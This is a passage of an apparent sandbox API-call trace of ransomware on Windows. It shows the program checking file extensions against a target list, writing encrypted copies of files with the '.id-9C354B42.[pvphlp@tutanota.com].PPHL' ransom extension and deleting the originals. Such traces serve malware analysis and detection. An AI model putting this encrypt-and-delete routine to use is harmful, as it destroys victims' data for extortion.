lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.417] SetEndOfFile (hFile=0x1f8) returned 1 [0077.417] CloseHandle (hObject=0x1f8) returned 1 [0077.418] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.418] SetEndOfFile (hFile=0x1f0) returned 1 [0077.419] CloseHandle (hObject=0x1f0) returned 1 [0077.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0077.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.556] lstrlenW (lpString=".doc") returned 4 [0077.556] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.556] lstrlenW (lpString=".docx") returned 5 [0077.556] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.556] lstrlenW (lpString=".pdf") returned 4 [0077.556] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.556] lstrlenW (lpString=".xls") returned 4 [0077.556] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.556] lstrlenW (lpString=".xlsx") returned 5 [0077.556] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.556] lstrlenW (lpString=".ppt") returned 4 [0077.556] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.556] lstrlenW (lpString=".zip") returned 4 [0077.556] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.557] lstrlenW (lpString=".rar") returned 4 [0077.557] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.557] lstrlenW (lpString=".bz2") returned 4 [0077.557] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.557] lstrlenW (lpString=".7z") returned 3 [0077.557] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.557] lstrlenW (lpString=".dbf") returned 4 [0077.557] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.557] lstrlenW (lpString=".1cd") returned 4 [0077.557] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.557] lstrlenW (lpString=".jpg") returned 4 [0077.557] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.557] lstrlenW (lpString=".doc") returned 4 [0077.557] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.557] lstrlenW (lpString=".docx") returned 5 [0077.557] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.557] lstrlenW (lpString=".pdf") returned 4 [0077.557] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.557] lstrlenW (lpString=".xls") returned 4 [0077.557] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.557] lstrlenW (lpString=".xlsx") returned 5 [0077.557] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.558] lstrlenW (lpString=".ppt") returned 4 [0077.558] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.558] lstrlenW (lpString=".zip") returned 4 [0077.558] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.558] lstrlenW (lpString=".rar") returned 4 [0077.558] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.558] lstrlenW (lpString=".bz2") returned 4 [0077.558] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.558] lstrlenW (lpString=".7z") returned 3 [0077.558] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.558] lstrlenW (lpString=".dbf") returned 4 [0077.558] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.558] lstrlenW (lpString=".1cd") returned 4 [0077.558] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0077.558] lstrlenW (lpString=".jpg") returned 4 [0077.558] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.558] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.558] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.559] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1354) returned 1 [0077.559] CloseHandle (hObject=0x1f0) returned 1 [0077.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0077.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.560] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.560] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.965] GetLastError () returned 0x0 [0077.965] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x54a, lpOverlapped=0x0) returned 1 [0077.995] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0077.996] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.996] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.996] SetEndOfFile (hFile=0x1e8) returned 1 [0077.996] CloseHandle (hObject=0x1e8) returned 1 [0077.996] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.996] SetEndOfFile (hFile=0x1f0) returned 1 [0077.997] CloseHandle (hObject=0x1f0) returned 1 [0077.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.998] lstrlenW (lpString=".doc") returned 4 [0077.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.998] lstrlenW (lpString=".docx") returned 5 [0077.998] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.998] lstrlenW (lpString=".pdf") returned 4 [0077.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.998] lstrlenW (lpString=".xls") returned 4 [0077.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.998] lstrlenW (lpString=".xlsx") returned 5 [0077.998] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.998] lstrlenW (lpString=".ppt") returned 4 [0077.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.998] lstrlenW (lpString=".zip") returned 4 [0077.998] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.998] lstrlenW (lpString=".rar") returned 4 [0077.998] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.998] lstrlenW (lpString=".bz2") returned 4 [0077.998] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.998] lstrlenW (lpString=".7z") returned 3 [0077.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.998] lstrlenW (lpString=".dbf") returned 4 [0077.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".1cd") returned 4 [0077.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".jpg") returned 4 [0077.999] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".doc") returned 4 [0077.999] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.999] lstrlenW (lpString=".docx") returned 5 [0077.999] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.999] lstrlenW (lpString=".pdf") returned 4 [0077.999] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.999] lstrlenW (lpString=".xls") returned 4 [0077.999] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.999] lstrlenW (lpString=".xlsx") returned 5 [0077.999] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.999] lstrlenW (lpString=".ppt") returned 4 [0077.999] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".zip") returned 4 [0077.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.999] lstrlenW (lpString=".rar") returned 4 [0077.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.999] lstrlenW (lpString=".bz2") returned 4 [0077.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.999] lstrlenW (lpString=".7z") returned 3 [0077.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".dbf") returned 4 [0077.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".1cd") returned 4 [0077.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0077.999] lstrlenW (lpString=".jpg") returned 4 [0078.000] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.000] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.000] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0078.114] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=19485) returned 1 [0078.114] CloseHandle (hObject=0x1a4) returned 1 [0078.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0078.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0078.115] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.115] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.115] GetLastError () returned 0x0 [0078.115] ReadFile (in: hFile=0x1a4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0078.194] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0078.195] ReadFile (in: hFile=0x1a4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0078.195] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.195] SetEndOfFile (hFile=0x20c) returned 1 [0078.195] CloseHandle (hObject=0x20c) returned 1 [0078.195] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.195] SetEndOfFile (hFile=0x1a4) returned 1 [0078.196] CloseHandle (hObject=0x1a4) returned 1 [0078.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.197] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0078.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.197] lstrlenW (lpString=".doc") returned 4 [0078.197] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.197] lstrlenW (lpString=".docx") returned 5 [0078.197] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.197] lstrlenW (lpString=".pdf") returned 4 [0078.197] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.197] lstrlenW (lpString=".xls") returned 4 [0078.197] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.197] lstrlenW (lpString=".xlsx") returned 5 [0078.197] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.197] lstrlenW (lpString=".ppt") returned 4 [0078.197] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.197] lstrlenW (lpString=".zip") returned 4 [0078.197] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.197] lstrlenW (lpString=".rar") returned 4 [0078.198] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.198] lstrlenW (lpString=".bz2") returned 4 [0078.198] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.198] lstrlenW (lpString=".7z") returned 3 [0078.198] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.198] lstrlenW (lpString=".dbf") returned 4 [0078.198] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.198] lstrlenW (lpString=".1cd") returned 4 [0078.198] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.198] lstrlenW (lpString=".jpg") returned 4 [0078.198] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.198] lstrlenW (lpString=".doc") returned 4 [0078.198] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.198] lstrlenW (lpString=".docx") returned 5 [0078.198] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.198] lstrlenW (lpString=".pdf") returned 4 [0078.198] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.198] lstrlenW (lpString=".xls") returned 4 [0078.198] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.198] lstrlenW (lpString=".xlsx") returned 5 [0078.198] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.198] lstrlenW (lpString=".ppt") returned 4 [0078.198] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.217] lstrlenW (lpString=".zip") returned 4 [0078.217] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.217] lstrlenW (lpString=".rar") returned 4 [0078.217] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.217] lstrlenW (lpString=".bz2") returned 4 [0078.217] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.217] lstrlenW (lpString=".7z") returned 3 [0078.217] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.217] lstrlenW (lpString=".dbf") returned 4 [0078.217] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.219] lstrlenW (lpString=".1cd") returned 4 [0078.219] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0078.219] lstrlenW (lpString=".jpg") returned 4 [0078.219] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.219] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.219] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0078.219] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1364) returned 1 [0078.219] CloseHandle (hObject=0x1a4) returned 1 [0078.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0078.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0078.220] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.220] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0078.251] GetLastError () returned 0x0 [0078.251] ReadFile (in: hFile=0x1a4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x554, lpOverlapped=0x0) returned 1 [0078.657] WriteFile (in: hFile=0x1f0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x560, lpOverlapped=0x0) returned 1 [0078.658] ReadFile (in: hFile=0x1a4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: 